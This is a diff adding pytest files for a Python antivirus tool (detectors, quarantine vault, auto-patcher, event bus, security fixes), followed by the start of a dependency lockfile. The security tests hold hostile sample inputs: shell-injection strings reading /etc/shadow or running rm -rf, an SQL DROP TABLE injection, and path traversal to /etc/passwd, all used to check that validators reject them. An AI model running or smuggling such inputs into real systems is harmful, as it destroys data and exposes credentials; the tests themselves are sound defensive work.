test_thread_safety(store): + """Concurrent writes from multiple threads should not crash.""" + errors = [] + + def writer(n): + try: + for i in range(10): + store.record_metric( + cpu=float(n * 10 + i), mem_pct=50, mem_used=4000, + mem_total=8000, disk_usage=[], load_avg=[], net_conns=0, + ) + except Exception as e: + errors.append(e) + + threads = [threading.Thread(target=writer, args=(i,)) for i in range(5)] + for t in threads: + t.start() + for t in threads: + t.join() + assert len(errors) == 0 diff --git a/ayn-antivirus/tests/test_detectors.py b/ayn-antivirus/tests/test_detectors.py new file mode 100644 index 0000000..dde6200 --- /dev/null +++ b/ayn-antivirus/tests/test_detectors.py @@ -0,0 +1,48 @@ +import os +import tempfile +import pytest + +def test_heuristic_detector_import(): + from ayn_antivirus.detectors.heuristic_detector import HeuristicDetector + detector = HeuristicDetector() + assert detector is not None + +def test_heuristic_suspicious_strings(tmp_path): + from ayn_antivirus.detectors.heuristic_detector import HeuristicDetector + malicious = tmp_path / "evil.php" + malicious.write_text("") + detector = HeuristicDetector() + results = detector.detect(str(malicious)) + assert len(results) > 0 + +def test_cryptominer_detector_import(): + from ayn_antivirus.detectors.cryptominer_detector import CryptominerDetector + detector = CryptominerDetector() + assert detector is not None + +def test_cryptominer_stratum_detection(tmp_path): + from ayn_antivirus.detectors.cryptominer_detector import CryptominerDetector + miner_config = tmp_path / "config.json" + miner_config.write_text('{"url": "stratum+tcp://pool.minexmr.com:4444", "user": "wallet123"}') + detector = CryptominerDetector() + results = detector.detect(str(miner_config)) + assert len(results) > 0 + +def test_spyware_detector_import(): + from ayn_antivirus.detectors.spyware_detector import SpywareDetector + detector = SpywareDetector() + assert detector is not None + +def test_rootkit_detector_import(): + from ayn_antivirus.detectors.rootkit_detector import RootkitDetector + detector = RootkitDetector() + assert detector is not None + +def test_signature_detector_import(): + from ayn_antivirus.detectors.signature_detector import SignatureDetector + assert SignatureDetector is not None + +def test_yara_detector_graceful(): + from ayn_antivirus.detectors.yara_detector import YaraDetector + detector = YaraDetector() + assert detector is not None diff --git a/ayn-antivirus/tests/test_engine.py b/ayn-antivirus/tests/test_engine.py new file mode 100644 index 0000000..cf8e8f2 --- /dev/null +++ b/ayn-antivirus/tests/test_engine.py @@ -0,0 +1,61 @@ +import os +import tempfile +import pytest +from datetime import datetime +from ayn_antivirus.core.engine import ( + ThreatType, Severity, ScanType, ThreatInfo, + ScanResult, FileScanResult, ScanEngine +) +from ayn_antivirus.core.event_bus import EventBus, EventType + +def test_threat_type_enum(): + assert ThreatType.VIRUS.value is not None + assert ThreatType.MINER.value is not None + +def test_severity_enum(): + assert Severity.CRITICAL.value is not None + assert Severity.LOW.value is not None + +def test_threat_info_creation(): + threat = ThreatInfo( + path="/tmp/evil.sh", + threat_name="TestMalware", + threat_type=ThreatType.MALWARE, + severity=Severity.HIGH, + detector_name="test", + details="Test detection", + file_hash="abc123" + ) + assert threat.path == "/tmp/evil.sh" + assert threat.threat_type == ThreatType.MALWARE + +def test_scan_result_creation(): + result = ScanResult( + scan_id="test-123", + start_time=datetime.now(), + end_time=datetime.now(), + files_scanned=100, + files_skipped=5, + threats=[], + scan_path="/tmp", + scan_type=ScanType.QUICK + ) + assert result.files_scanned == 100 + assert len(result.threats) == 0 + +def test_event_bus(): + bus = EventBus() + received = [] + bus.subscribe(EventType.THREAT_FOUND, lambda et, data: received.append(data)) + bus.publish(EventType.THREAT_FOUND, {"test": True}) + assert len(received) == 1 + assert received[0]["test"] == True + +def test_scan_clean_file(tmp_path): + clean_file = tmp_path / "clean.txt" + clean_file.write_text("This is a perfectly normal text file with nothing suspicious.") + from ayn_antivirus.config import Config + config = Config() + engine = ScanEngine(config) + result = engine.scan_file(str(clean_file)) + assert isinstance(result, FileScanResult) diff --git a/ayn-antivirus/tests/test_event_bus.py b/ayn-antivirus/tests/test_event_bus.py new file mode 100644 index 0000000..ebaf807 --- /dev/null +++ b/ayn-antivirus/tests/test_event_bus.py @@ -0,0 +1,117 @@ +"""Tests for the event bus pub/sub system.""" +import pytest + +from ayn_antivirus.core.event_bus import EventBus, EventType + + +def test_subscribe_and_publish(): + bus = EventBus() + received = [] + bus.subscribe(EventType.THREAT_FOUND, lambda et, data: received.append(data)) + bus.publish(EventType.THREAT_FOUND, {"test": True}) + assert len(received) == 1 + assert received[0]["test"] is True + + +def test_multiple_subscribers(): + bus = EventBus() + r1, r2 = [], [] + bus.subscribe(EventType.SCAN_STARTED, lambda et, d: r1.append(d)) + bus.subscribe(EventType.SCAN_STARTED, lambda et, d: r2.append(d)) + bus.publish(EventType.SCAN_STARTED, "go") + assert len(r1) == 1 + assert len(r2) == 1 + + +def test_unsubscribe(): + bus = EventBus() + received = [] + cb = lambda et, d: received.append(d) + bus.subscribe(EventType.FILE_SCANNED, cb) + bus.unsubscribe(EventType.FILE_SCANNED, cb) + bus.publish(EventType.FILE_SCANNED, "data") + assert len(received) == 0 + + +def test_unsubscribe_nonexistent(): + """Unsubscribing a callback that was never registered should not crash.""" + bus = EventBus() + bus.unsubscribe(EventType.FILE_SCANNED, lambda et, d: None) + + +def test_publish_no_subscribers(): + """Publishing with no subscribers should not crash.""" + bus = EventBus() + bus.publish(EventType.SCAN_COMPLETED, "no crash") + + +def test_subscriber_exception_isolated(): + """A failing subscriber must not prevent other subscribers from running.""" + bus = EventBus() + received = [] + bus.subscribe(EventType.THREAT_FOUND, lambda et, d: 1 / 0) # will raise + bus.subscribe(EventType.THREAT_FOUND, lambda et, d: received.append(d)) + bus.publish(EventType.THREAT_FOUND, "data") + assert len(received) == 1 + + +def test_all_event_types(): + """Every EventType value can be published without error.""" + bus = EventBus() + for et in EventType: + bus.publish(et, None) + + +def test_clear_all(): + bus = EventBus() + received = [] + bus.subscribe(EventType.THREAT_FOUND, lambda et, d: received.append(d)) + bus.subscribe(EventType.SCAN_STARTED, lambda et, d: received.append(d)) + bus.clear() + bus.publish(EventType.THREAT_FOUND, "a") + bus.publish(EventType.SCAN_STARTED, "b") + assert len(received) == 0 + + +def test_clear_single_event(): + bus = EventBus() + r1, r2 = [], [] + bus.subscribe(EventType.THREAT_FOUND, lambda et, d: r1.append(d)) + bus.subscribe(EventType.SCAN_STARTED, lambda et, d: r2.append(d)) + bus.clear(EventType.THREAT_FOUND) + bus.publish(EventType.THREAT_FOUND, "a") + bus.publish(EventType.SCAN_STARTED, "b") + assert len(r1) == 0 # cleared + assert len(r2) == 1 # still active + + +def test_callback_receives_event_type(): + """Callback receives (event_type, data) — verify event_type is correct.""" + bus = EventBus() + calls = [] + bus.subscribe(EventType.QUARANTINE_ACTION, lambda et, d: calls.append((et, d))) + bus.publish(EventType.QUARANTINE_ACTION, "payload") + assert calls[0][0] is EventType.QUARANTINE_ACTION + assert calls[0][1] == "payload" + + +def test_duplicate_subscribe(): + """Subscribing the same callback twice should only register it once.""" + bus = EventBus() + received = [] + cb = lambda et, d: received.append(d) + bus.subscribe(EventType.SCAN_COMPLETED, cb) + bus.subscribe(EventType.SCAN_COMPLETED, cb) + bus.publish(EventType.SCAN_COMPLETED, "x") + assert len(received) == 1 + + +def test_event_type_values(): + """All expected event types exist.""" + expected = { + "THREAT_FOUND", "SCAN_STARTED", "SCAN_COMPLETED", "FILE_SCANNED", + "SIGNATURE_UPDATED", "QUARANTINE_ACTION", "REMEDIATION_ACTION", + "DASHBOARD_METRIC", + } + actual = {et.name for et in EventType} + assert expected == actual diff --git a/ayn-antivirus/tests/test_monitor.py b/ayn-antivirus/tests/test_monitor.py new file mode 100644 index 0000000..e00d063 --- /dev/null +++ b/ayn-antivirus/tests/test_monitor.py @@ -0,0 +1,95 @@ +"""Tests for real-time monitor.""" +import pytest +import time +from ayn_antivirus.monitor.realtime import RealtimeMonitor +from ayn_antivirus.core.engine import ScanEngine +from ayn_antivirus.config import Config + + +@pytest.fixture +def monitor(tmp_path): + config = Config() + engine = ScanEngine(config) + m = RealtimeMonitor(config, engine) + yield m + if m.is_running: + m.stop() + + +def test_monitor_init(monitor): + assert monitor is not None + assert monitor.is_running is False + + +def test_monitor_should_skip(): + """Temporary / lock / editor files should be skipped.""" + config = Config() + engine = ScanEngine(config) + m = RealtimeMonitor(config, engine) + + assert m._should_skip("/tmp/test.tmp") is True + assert m._should_skip("/tmp/test.swp") is True + assert m._should_skip("/tmp/test.lock") is True + assert m._should_skip("/tmp/.#backup") is True + assert m._should_skip("/tmp/test.part") is True + + assert m._should_skip("/tmp/test.txt") is False + assert m._should_skip("/tmp/test.py") is False + assert m._should_skip("/var/www/index.html") is False + + +def test_monitor_debounce(monitor): + """After the first call records the path, an immediate repeat is debounced.""" + import time as _time + + # Prime the path so it's recorded with the current monotonic time. + # On fresh processes, monotonic() can be close to 0.0 which is the + # default in _recent, so we explicitly set a realistic timestamp. + monitor._recent["/tmp/test.txt"] = _time.monotonic() - 10 + assert monitor._is_debounced("/tmp/test.txt") is False + # Immediate second call should be debounced (within 2s window) + assert monitor._is_debounced("/tmp/test.txt") is True + + +def test_monitor_debounce_different_paths(monitor): + """Different paths should not debounce each other.""" + import time as _time + + # Prime both paths far enough in the past to avoid the initial-value edge case + past = _time.monotonic() - 10 + monitor._recent["/tmp/a.txt"] = past + monitor._recent["/tmp/b.txt"] = past + assert monitor._is_debounced("/tmp/a.txt") is False + assert monitor._is_debounced("/tmp/b.txt") is False + + +def test_monitor_start_stop(tmp_path, monitor): + monitor.start(paths=[str(tmp_path)], recursive=True) + assert monitor.is_running is True + time.sleep(0.3) + monitor.stop() + assert monitor.is_running is False + + +def test_monitor_double_start(tmp_path, monitor): + """Starting twice should be harmless.""" + monitor.start(paths=[str(tmp_path)]) + assert monitor.is_running is True + monitor.start(paths=[str(tmp_path)]) # Should log warning, not crash + assert monitor.is_running is True + monitor.stop() + + +def test_monitor_stop_when_not_running(monitor): + """Stopping when not running should be harmless.""" + assert monitor.is_running is False + monitor.stop() + assert monitor.is_running is False + + +def test_monitor_nonexistent_path(monitor): + """Non-existent paths should be skipped without crash.""" + monitor.start(paths=["/nonexistent/path/xyz123"]) + # Should still be running (observer started, just no schedules) + assert monitor.is_running is True + monitor.stop() diff --git a/ayn-antivirus/tests/test_patcher.py b/ayn-antivirus/tests/test_patcher.py new file mode 100644 index 0000000..bef8cac --- /dev/null +++ b/ayn-antivirus/tests/test_patcher.py @@ -0,0 +1,139 @@ +"""Tests for auto-patcher.""" +import pytest +import os +import stat +from ayn_antivirus.remediation.patcher import AutoPatcher, RemediationAction + + +def test_patcher_init(): + p = AutoPatcher(dry_run=True) + assert p.dry_run is True + assert p.actions == [] + + +def test_patcher_init_live(): + p = AutoPatcher(dry_run=False) + assert p.dry_run is False + + +def test_fix_permissions_dry_run(tmp_path): + f = tmp_path / "test.sh" + f.write_text("#!/bin/bash") + f.chmod(0o4755) # SUID + p = AutoPatcher(dry_run=True) + action = p.fix_permissions(str(f)) + assert action is not None + assert action.success is True + assert action.dry_run is True + # In dry run, file should still have SUID + assert f.stat().st_mode & stat.S_ISUID + + +def test_fix_permissions_real(tmp_path): + f = tmp_path / "test.sh" + f.write_text("#!/bin/bash") + f.chmod(0o4755) # SUID + p = AutoPatcher(dry_run=False) + action = p.fix_permissions(str(f)) + assert action.success is True + # SUID should be stripped + assert not (f.stat().st_mode & stat.S_ISUID) + + +def test_fix_permissions_already_safe(tmp_path): + f = tmp_path / "safe.txt" + f.write_text("hello") + f.chmod(0o644) + p = AutoPatcher(dry_run=False) + action = p.fix_permissions(str(f)) + assert action.success is True + assert "already safe" in action.details + + +def test_fix_permissions_sgid(tmp_path): + f = tmp_path / "sgid.sh" + f.write_text("#!/bin/bash") + f.chmod(0o2755) # SGID + p = AutoPatcher(dry_run=False) + action = p.fix_permissions(str(f)) + assert action.success is True + assert not (f.stat().st_mode & stat.S_ISGID) + + +def test_fix_permissions_world_writable(tmp_path): + f = tmp_path / "ww.txt" + f.write_text("data") + f.chmod(0o777) # World-writable + p = AutoPatcher(dry_run=False) + action = p.fix_permissions(str(f)) + assert action.success is True + assert not (f.stat().st_mode & stat.S_IWOTH) + + +def test_block_domain_dry_run(): + p = AutoPatcher(dry_run=True) + action = p.block_domain("evil.example.com") + assert action is not None + assert action.success is True + assert action.dry_run is True + assert "evil.example.com" in action.target + + +def test_block_ip_dry_run(): + p = AutoPatcher(dry_run=True) + action = p.block_ip("1.2.3.4") + assert action.success is True + assert action.dry_run is True + assert "1.2.3.4" in action.target + + +def test_remediate_threat_dry_run(tmp_path): + # Create a dummy file + f = tmp_path / "malware.bin" + f.write_text("evil_payload") + f.chmod(0o4755) + + p = AutoPatcher(dry_run=True) + threat = { + "path": str(f), + "threat_name": "Test.Malware", + "threat_type": "MALWARE", + "severity": "HIGH", + } + actions = p.remediate_threat(threat) + assert isinstance(actions, list) + assert len(actions) >= 1 + # Should have at least a fix_permissions action + action_names = [a.action for a in actions] + assert "fix_permissions" in action_names + + +def test_remediate_threat_miner_with_domain(): + p = AutoPatcher(dry_run=True) + threat = { + "threat_type": "MINER", + "domain": "pool.evil.com", + "ip": "1.2.3.4", + } + actions = p.remediate_threat(threat) + action_names = [a.action for a in actions] + assert "block_domain" in action_names + assert "block_ip" in action_names + + +def test_remediation_action_dataclass(): + a = RemediationAction( + action="test_action", target="/tmp/test", details="testing", + success=True, dry_run=True, + ) + assert a.action == "test_action" + assert a.target == "/tmp/test" + assert a.success is True + assert a.dry_run is True + + +def test_fix_ld_preload_missing(): + """ld.so.preload doesn't exist — should succeed gracefully.""" + p = AutoPatcher(dry_run=True) + action = p.fix_ld_preload() + assert action.success is True diff --git a/ayn-antivirus/tests/test_quarantine.py b/ayn-antivirus/tests/test_quarantine.py new file mode 100644 index 0000000..03eb578 --- /dev/null +++ b/ayn-antivirus/tests/test_quarantine.py @@ -0,0 +1,50 @@ +import os +import pytest +from ayn_antivirus.quarantine.vault import QuarantineVault + +def test_quarantine_and_restore(tmp_path): + vault_dir = tmp_path / "vault" + key_file = tmp_path / "keys" / "vault.key" + vault = QuarantineVault(str(vault_dir), str(key_file)) + + test_file = tmp_path / "malware.txt" + test_file.write_text("this is malicious content") + + threat_info = { + "threat_name": "TestVirus", + "threat_type": "virus", + "severity": "high" + } + qid = vault.quarantine_file(str(test_file), threat_info) + assert qid is not None + assert not test_file.exists() + assert vault.count() == 1 + + restore_path = tmp_path / "restored.txt" + vault.restore_file(qid, str(restore_path)) + assert restore_path.exists() + assert restore_path.read_text() == "this is malicious content" + +def test_quarantine_list(tmp_path): + vault_dir = tmp_path / "vault" + key_file = tmp_path / "keys" / "vault.key" + vault = QuarantineVault(str(vault_dir), str(key_file)) + + test_file = tmp_path / "test.txt" + test_file.write_text("content") + vault.quarantine_file(str(test_file), {"threat_name": "Test", "threat_type": "virus", "severity": "low"}) + + items = vault.list_quarantined() + assert len(items) == 1 + +def test_quarantine_delete(tmp_path): + vault_dir = tmp_path / "vault" + key_file = tmp_path / "keys" / "vault.key" + vault = QuarantineVault(str(vault_dir), str(key_file)) + + test_file = tmp_path / "test.txt" + test_file.write_text("content") + qid = vault.quarantine_file(str(test_file), {"threat_name": "Test", "threat_type": "virus", "severity": "low"}) + + assert vault.delete_file(qid) == True + assert vault.count() == 0 diff --git a/ayn-antivirus/tests/test_reports.py b/ayn-antivirus/tests/test_reports.py new file mode 100644 index 0000000..c56d3aa --- /dev/null +++ b/ayn-antivirus/tests/test_reports.py @@ -0,0 +1,54 @@ +import json +import pytest +from datetime import datetime +from ayn_antivirus.core.engine import ScanResult, ScanType, ThreatInfo, ThreatType, Severity +from ayn_antivirus.reports.generator import ReportGenerator + +def _make_scan_result(): + return ScanResult( + scan_id="test-001", + start_time=datetime.now(), + end_time=datetime.now(), + files_scanned=500, + files_skipped=10, + threats=[ + ThreatInfo( + path="/tmp/evil.sh", + threat_name="ReverseShell", + threat_type=ThreatType.MALWARE, + severity=Severity.CRITICAL, + detector_name="heuristic", + details="Reverse shell detected", + file_hash="abc123" + ) + ], + scan_path="/tmp", + scan_type=ScanType.FULL + ) + +def test_text_report(): + gen = ReportGenerator() + result = _make_scan_result() + text = gen.generate_text(result) + assert "AYN ANTIVIRUS" in text + assert "ReverseShell" in text + +def test_json_report(): + gen = ReportGenerator() + result = _make_scan_result() + j = gen.generate_json(result) + data = json.loads(j) + assert data["summary"]["total_threats"] == 1 + +def test_html_report(): + gen = ReportGenerator() + result = _make_scan_result() + html = gen.generate_html(result) + assert "= 2 + + +def test_schedule_update(): + config = Config() + s = Scheduler(config) + s.schedule_update(interval_hours=6) + jobs = s._scheduler.get_jobs() + assert len(jobs) >= 1 + + +def test_parse_cron_field_literal(): + assert _parse_cron_field("5", 0, 59) == [5] + + +def test_parse_cron_field_comma(): + assert _parse_cron_field("1,3,5", 0, 59) == [1, 3, 5] + + +def test_parse_cron_field_wildcard(): + result = _parse_cron_field("*", 0, 6) + assert result == [0, 1, 2, 3, 4, 5, 6] diff --git a/ayn-antivirus/tests/test_security.py b/ayn-antivirus/tests/test_security.py new file mode 100644 index 0000000..b0134ee --- /dev/null +++ b/ayn-antivirus/tests/test_security.py @@ -0,0 +1,197 @@ +"""Security tests — validate fixes for audit findings.""" +import os +import tempfile + +import pytest + + +# ----------------------------------------------------------------------- +# Fix 2: SQL injection in ioc_db._count() +# ----------------------------------------------------------------------- + +class TestIOCTableWhitelist: + @pytest.fixture(autouse=True) + def setup_db(self, tmp_path): + from ayn_antivirus.signatures.db.ioc_db import IOCDatabase + + self.db = IOCDatabase(tmp_path / "test_ioc.db") + self.db.initialize() + yield + self.db.close() + + def test_valid_tables(self): + for table in ("ioc_ips", "ioc_domains", "ioc_urls"): + assert self.db._count(table) >= 0 + + def test_injection_blocked(self): + with pytest.raises(ValueError, match="Invalid table"): + self.db._count("ioc_ips; DROP TABLE ioc_ips; --") + + def test_arbitrary_table_blocked(self): + with pytest.raises(ValueError, match="Invalid table"): + self.db._count("evil_table") + + def test_valid_tables_frozenset(self): + from ayn_antivirus.signatures.db.ioc_db import IOCDatabase + + assert isinstance(IOCDatabase._VALID_TABLES, frozenset) + assert IOCDatabase._VALID_TABLES == {"ioc_ips", "ioc_domains", "ioc_urls"} + + +# ----------------------------------------------------------------------- +# Fix 4: Quarantine ID path traversal +# ----------------------------------------------------------------------- + +class TestQuarantineIDValidation: + @pytest.fixture(autouse=True) + def setup_vault(self, tmp_path): + from ayn_antivirus.quarantine.vault import QuarantineVault + + self.vault = QuarantineVault( + tmp_path / "vault", tmp_path / "vault" / ".key" + ) + + def test_traversal_blocked(self): + with pytest.raises(ValueError, match="Invalid quarantine ID"): + self.vault._validate_qid("../../etc/passwd") + + def test_too_short(self): + with pytest.raises(ValueError, match="Invalid quarantine ID"): + self.vault._validate_qid("abc") + + def test_too_long(self): + with pytest.raises(ValueError, match="Invalid quarantine ID"): + self.vault._validate_qid("a" * 33) + + def test_non_hex(self): + with pytest.raises(ValueError, match="Invalid quarantine ID"): + self.vault._validate_qid("GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG") + + def test_uppercase_hex_rejected(self): + with pytest.raises(ValueError, match="Invalid quarantine ID"): + self.vault._validate_qid("A" * 32) + + def test_valid_id(self): + assert self.vault._validate_qid("a" * 32) == "a" * 32 + assert self.vault._validate_qid("0123456789abcdef" * 2) == "0123456789abcdef" * 2 + + def test_whitespace_stripped(self): + padded = " " + "a" * 32 + " " + assert self.vault._validate_qid(padded) == "a" * 32 + + +# ----------------------------------------------------------------------- +# Fix 3: Quarantine restore path traversal +# ----------------------------------------------------------------------- + +class TestRestorePathValidation: + @pytest.fixture(autouse=True) + def setup_vault(self, tmp_path): + from ayn_antivirus.quarantine.vault import QuarantineVault + + self.vault = QuarantineVault( + tmp_path / "vault", tmp_path / "vault" / ".key" + ) + + def test_etc_blocked(self): + with pytest.raises(ValueError, match="protected path"): + self.vault._validate_restore_path("/etc/shadow") + + def test_usr_bin_blocked(self): + with pytest.raises(ValueError, match="protected path"): + self.vault._validate_restore_path("/usr/bin/evil") + + def test_cron_blocked(self): + with pytest.raises(ValueError, match="Refusing to restore"): + self.vault._validate_restore_path("/etc/cron.d/backdoor") + + def test_systemd_blocked(self): + with pytest.raises(ValueError, match="Refusing to restore"): + self.vault._validate_restore_path("/etc/systemd/system/evil.service") + + def test_safe_path_allowed(self): + result = self.vault._validate_restore_path("/tmp/restored.txt") + assert result.name == "restored.txt" + + +# ----------------------------------------------------------------------- +# Fix 5: Container scanner command injection +# ----------------------------------------------------------------------- + +class TestContainerIDSanitization: + @pytest.fixture(autouse=True) + def setup_scanner(self): + from ayn_antivirus.scanners.container_scanner import ContainerScanner + + self.scanner = ContainerScanner() + + def test_semicolon_injection(self): + with pytest.raises(ValueError): + self.scanner._sanitize_id("abc; rm -rf /") + + def test_dollar_injection(self): + with pytest.raises(ValueError): + self.scanner._sanitize_id("$(cat /etc/shadow)") + + def test_backtick_injection(self): + with pytest.raises(ValueError): + self.scanner._sanitize_id("`whoami`") + + def test_pipe_injection(self): + with pytest.raises(ValueError): + self.scanner._sanitize_id("abc|cat /etc/passwd") + + def test_ampersand_injection(self): + with pytest.raises(ValueError): + self.scanner._sanitize_id("abc && echo pwned") + + def test_empty_rejected(self): + with pytest.raises(ValueError): + self.scanner._sanitize_id("") + + def test_too_long_rejected(self): + with pytest.raises(ValueError): + self.scanner._sanitize_id("a" * 200) + + def test_valid_ids(self): + assert self.scanner._sanitize_id("abc123") == "abc123" + assert self.scanner._sanitize_id("my-container") == "my-container" + assert self.scanner._sanitize_id("web_app.v2") == "web_app.v2" + assert self.scanner._sanitize_id("a1b2c3d4e5f6") == "a1b2c3d4e5f6" + + +# ----------------------------------------------------------------------- +# Fix 6: Config key validation +# ----------------------------------------------------------------------- + +def test_config_key_whitelist_in_cli(): + """The config --set handler should reject unknown keys. + + We verify by inspecting the CLI module source for the VALID_CONFIG_KEYS + set and its guard clause, since it's defined inside a Click command body. + """ + import inspect + import ayn_antivirus.cli as cli_mod + + src = inspect.getsource(cli_mod) + assert "VALID_CONFIG_KEYS" in src + assert '"scan_paths"' in src + assert '"dashboard_port"' in src + # Verify the guard clause exists + assert "if key not in VALID_CONFIG_KEYS" in src + + +# ----------------------------------------------------------------------- +# Fix 9: API query param validation +# ----------------------------------------------------------------------- + +def test_safe_int_helper(): + from ayn_antivirus.dashboard.api import _safe_int + + assert _safe_int("50", 10) == 50 + assert _safe_int("abc", 10) == 10 + assert _safe_int("", 10) == 10 + assert _safe_int(None, 10) == 10 + assert _safe_int("-5", 10, min_val=1) == 1 + assert _safe_int("9999", 10, max_val=500) == 500 + assert _safe_int("0", 10, min_val=1) == 1 diff --git a/ayn-antivirus/tests/test_signatures.py b/ayn-antivirus/tests/test_signatures.py new file mode 100644 index 0000000..8b65346 --- /dev/null +++ b/ayn-antivirus/tests/test_signatures.py @@ -0,0 +1,53 @@ +import os +import tempfile +import pytest +from ayn_antivirus.signatures.db.hash_db import HashDatabase +from ayn_antivirus.signatures.db.ioc_db import IOCDatabase + +def test_hash_db_create(tmp_path): + db = HashDatabase(str(tmp_path / "test.db")) + db.initialize() + assert db.count() == 0 + db.close() + +def test_hash_db_add_and_lookup(tmp_path): + db = HashDatabase(str(tmp_path / "test.db")) + db.initialize() + db.add_hash("abc123hash", "TestMalware", "virus", "high", "test") + result = db.lookup("abc123hash") + assert result is not None + assert result["threat_name"] == "TestMalware" + db.close() + +def test_hash_db_bulk_add(tmp_path): + db = HashDatabase(str(tmp_path / "test.db")) + db.initialize() + records = [ + ("hash1", "Malware1", "virus", "high", "test", ""), + ("hash2", "Malware2", "malware", "medium", "test", ""), + ("hash3", "Miner1", "miner", "high", "test", ""), + ] + count = db.bulk_add(records) + assert count == 3 + assert db.count() == 3 + db.close() + +def test_ioc_db_ips(tmp_path): + db = IOCDatabase(str(tmp_path / "test.db")) + db.initialize() + db.add_ip("1.2.3.4", "BotnetC2", "c2", "feodo") + result = db.lookup_ip("1.2.3.4") + assert result is not None + ips = db.get_all_malicious_ips() + assert "1.2.3.4" in ips + db.close() + +def test_ioc_db_domains(tmp_path): + db = IOCDatabase(str(tmp_path / "test.db")) + db.initialize() + db.add_domain("evil.com", "Phishing", "phishing", "threatfox") + result = db.lookup_domain("evil.com") + assert result is not None + domains = db.get_all_malicious_domains() + assert "evil.com" in domains + db.close() diff --git a/ayn-antivirus/tests/test_utils.py b/ayn-antivirus/tests/test_utils.py new file mode 100644 index 0000000..e79d376 --- /dev/null +++ b/ayn-antivirus/tests/test_utils.py @@ -0,0 +1,49 @@ +import os +import tempfile +import pytest +from ayn_antivirus.utils.helpers import ( + format_size, format_duration, is_root, validate_ip, + validate_domain, generate_id, hash_file, safe_path +) + +def test_format_size(): + assert format_size(0) == "0.0 B" + assert format_size(1024) == "1.0 KB" + assert format_size(1048576) == "1.0 MB" + assert format_size(1073741824) == "1.0 GB" + +def test_format_duration(): + assert "0s" in format_duration(0) or "0" in format_duration(0) + result = format_duration(3661) + assert "1h" in result + assert "1m" in result + +def test_validate_ip(): + assert validate_ip("192.168.1.1") == True + assert validate_ip("10.0.0.1") == True + assert validate_ip("999.999.999.999") == False + assert validate_ip("not-an-ip") == False + assert validate_ip("") == False + +def test_validate_domain(): + assert validate_domain("example.com") == True + assert validate_domain("sub.example.com") == True + assert validate_domain("") == False + +def test_generate_id(): + id1 = generate_id() + id2 = generate_id() + assert isinstance(id1, str) + assert len(id1) == 32 + assert id1 != id2 + +def test_hash_file(tmp_path): + f = tmp_path / "test.txt" + f.write_text("hello world") + h = hash_file(str(f)) + assert isinstance(h, str) + assert len(h) == 64 # sha256 hex + +def test_safe_path(tmp_path): + result = safe_path(str(tmp_path)) + assert result is not None diff --git a/bun.lock b/bun.lock new file mode 100644 index 0000000..20c41b9 --- /dev/null +++ b/bun.lock @@ -0,0 +1,625 @@ +{ + "lockfileVersion": 1, + "configVersion": 1, + "workspaces": { + "": { + "name": "pi-vs-cc", + "dependencies": { + "@mariozechner/pi-ai": "^0.56.1", + "@mariozechner/pi-coding-agent": "^0.56.1", + "@mariozechner/pi-tui": "^0.56.1", + "yaml": "^2.8.0", + }, + "devDependencies": { + "@playwright/cli": "^0.1.1", + }, + }, + }, + "packages": { + "@anthropic-ai/sdk": ["@anthropic-ai/sdk@0.73.0", "", { "dependencies": { "json-schema-to-ts": "^3.1.1" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" }, "optionalPeers": ["zod"], "bin": { "anthropic-ai-sdk": "bin/cli" } }, "sha512-URURVzhxXGJDGUGFunIOtBlSl7KWvZiAAKY/ttTkZAkXT9bTPqdk2eK0b8qqSxXpikh3QKPnPYpiyX98zf5ebw=="], + + "@aws-crypto/crc32": ["@aws-crypto/crc32@5.2.0", "", { "dependencies": { "@aws-crypto/util": "^5.2.0", "@aws-sdk/types": "^3.222.0", "tslib": "^2.6.2" } }, "sha512-nLbCWqQNgUiwwtFsen1AdzAtvuLRsQS8rYgMuxCrdKf9kOssamGLuPwyTY9wyYblNr9+1XM8v6zoDTPPSIeANg=="], + + "@aws-crypto/sha256-browser": ["@aws-crypto/sha256-browser@5.2.0", "", { "dependencies": { "@aws-crypto/sha256-js": "^5.2.0", "@aws-crypto/supports-web-crypto": "^5.2.0", "@aws-crypto/util": "^5.2.0", "@aws-sdk/types": "^3.222.0", "@aws-sdk/util-locate-window": "^3.0.0", "@smithy/util-utf8": "^2.0.0", "tslib": "^2.6.2" } }, "sha512-AXfN/lGotSQwu6HNcEsIASo7kWXZ5HYWvfOmSNKDsEqC4OashTp8alTmaz+F7TC2L083SFv5RdB+qU3Vs1kZqw=="], + + "@aws-crypto/sha256-js": ["@aws-crypto/sha256-js@5.2.0", "", { "dependencies": { "@aws-crypto/util": "^5.2.0", "@aws-sdk/types": "^3.222.0", "tslib": "^2.6.2" } }, "sha512-FFQQyu7edu4ufvIZ+OadFpHHOt+eSTBaYaki44c+akjg7qZg9oOQeLlk77F6tSYqjDAFClrHJk9tMf0HdVyOvA=="], + + "@aws-crypto/supports-web-crypto": ["@aws-crypto/supports-web-crypto@5.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-iAvUotm021kM33eCdNfwIN//F77/IADDSs58i+MDaOqFrVjZo9bAal0NK7HurRuWLLpF1iLX7gbWrjHjeo+YFg=="], + + "@aws-crypto/util": ["@aws-crypto/util@5.2.0", "", { "dependencies": { "@aws-sdk/types": "^3.222.0", "@smithy/util-utf8": "^2.0.0", "tslib": "^2.6.2" } }, "sha512-4RkU9EsI6ZpBve5fseQlGNUWKMa1RLPQ1dnjnQoe07ldfIzcsGb5hC5W0Dm7u423KWzawlrpbjXBrXCEv9zazQ=="], + + "@aws-sdk/client-bedrock-runtime": ["@aws-sdk/client-bedrock-runtime@3.1002.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "^3.973.17", "@aws-sdk/credential-provider-node": "^3.972.16", "@aws-sdk/eventstream-handler-node": "^3.972.9", "@aws-sdk/middleware-eventstream": "^3.972.6", "@aws-sdk/middleware-host-header": "^3.972.6", "@aws-sdk/middleware-logger": "^3.972.6", "@aws-sdk/middleware-recursion-detection": "^3.972.6", "@aws-sdk/middleware-user-agent": "^3.972.17", "@aws-sdk/middleware-websocket": "^3.972.11", "@aws-sdk/region-config-resolver": "^3.972.6", "@aws-sdk/token-providers": "3.1002.0", "@aws-sdk/types": "^3.973.4", "@aws-sdk/util-endpoints": "^3.996.3", "@aws-sdk/util-user-agent-browser": "^3.972.6", "@aws-sdk/util-user-agent-node": "^3.973.2", "@smithy/config-resolver": "^4.4.9", "@smithy/core": "^3.23.7", "@smithy/eventstream-serde-browser": "^4.2.10", "@smithy/eventstream-serde-config-resolver": "^4.3.10", "@smithy/eventstream-serde-node": "^4.2.10", "@smithy/fetch-http-handler": 